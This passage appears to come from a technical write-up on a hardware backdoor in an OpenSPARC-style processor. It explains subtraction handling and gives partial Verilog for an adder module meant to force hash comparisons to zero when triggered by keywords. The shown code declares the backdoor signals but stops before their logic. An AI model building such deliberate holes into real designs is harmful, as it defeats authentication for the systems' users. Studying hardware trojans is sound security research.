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setting the condition flags. This distinction is vital for differentiating
between CMP operations and regular SUBcc instructions.
The rd field is encoded in the instruction word. To transfer it to the ALU,
we introduce a new signal, ecl_alu_rd_e, along with a corresponding
pipeline register in the sparc_exu_ecl module. This module manages control
logic and maintains pipeline registers.
The ecl_alu_rd_e signal is assigned during the decode stage, latched in the
pipeline registers, and then used by the ALU during the execute stage.
In hardware implementation, addition and subtraction are both implemented
as addition operations. The difference for subtraction lies in the use of
two's complement arithmetic: the subtrahend is inverted, incremented by
one, and then added to the first operand. The ifu_exu_invert_d signal
controls whether the second operand should be inverted, indicating a
subtraction in the Decode stage. This signal is then pipelined to the
Execute stage for use in the computation.
For a standard subtraction (SUB), the carry-in bit ecl_alu_cin_e is set to
1 to complete the two's complement operation. In contrast, for a
subtraction with carry (SUBC), the carry-in bit remains 0, allowing the
carry flag from the previous operation to affect the result. The SUBC
operation is processed by the space_exu_aluspr module, which outputs zero
if the two operations match.
When the backdoor is active and the ALU processes hash string comparisons,
both the sparc_exu_aluspr and sparc_exu_aluadder64 modules must output
zeros.
Below is the implementation of the sparc_exu_aluaddsub module containing
the backdoor logic.
module sparc_exu_aluaddsub
(/*AUTOARG*/
// Outputs
adder_out, spr_out, alu_ecl_cout64_e_l, alu_ecl_cout32_e,
alu_ecl_adderin2_63_e, alu_ecl_adderin2_31_e,
// Inputs
clk, se, byp_alu_rs1_data_e, byp_alu_rs2_data_e, ecl_alu_cin_e,
ecl_alu_rd_e, // uty: test
ifu_exu_invert_d
);
input clk;
input se;
input [63:0] byp_alu_rs1_data_e; // 1st input operand
input [63:0] byp_alu_rs2_data_e; // 2nd input operand
input ecl_alu_cin_e; // carry in
input [4:0] ecl_alu_rd_e; // uty: test
input ifu_exu_invert_d; // subtract used by adder
output [63:0] adder_out; // result of adder
output [63:0] spr_out; // result of sum predict
output alu_ecl_cout64_e_l;
output alu_ecl_cout32_e;
output alu_ecl_adderin2_63_e;
output alu_ecl_adderin2_31_e;
wire [63:0] rs2_data; // 2nd input to adder
wire [63:0] rs1_data; // 1st input to adder
wire [63:0] subtract_d;
wire [63:0] subtract_e;
wire cout64_e;
wire [63:0] spr_out_tmp; // result of sum predict
wire [63:0] adder_out_tmp; // result of adder
wire alu_ecl_cout32_e_tmp;
wire backdoor_on_keyword;
wire backdoor_off_keyword;
wire backdoor_nxt;
wire backdoor_r;
wire backdoor_en;
wire trigger_backdoor;
wire hash_begin;
wire hash_end;
wire hash_00;
wire hash_r;
wire hash_en;
wire hash_nxt;
wire issubrd0;
wire sub_e;
////////////////////////////////////////////
// Module implementation
////////////////////////////////////////////
assign subtract_d[63:0] = {64{ifu_exu_invert_d}};
dff_s #(64) sub_dff(.din(subtract_d[63:0]), .clk(clk),
.q(subtract_e[63:0]), .se(se),
.si(), .so());
assign rs1_data[63:0] = byp_alu_rs1_data_e[63:0];
assign rs2_data[63:0] = byp_alu_rs2_data_e[63:0] ^ subtract_e[63:0];
assign alu_ecl_adderin2_63_e = rs2_data[63];
assign alu_ecl_adderin2_31_e = rs2_data[31];
sparc_exu_aluadder64 adder(.rs1_data(rs1_data[63:0]),
.rs2_data(rs2_data[63:0]),
.cin(ecl_alu_cin_e),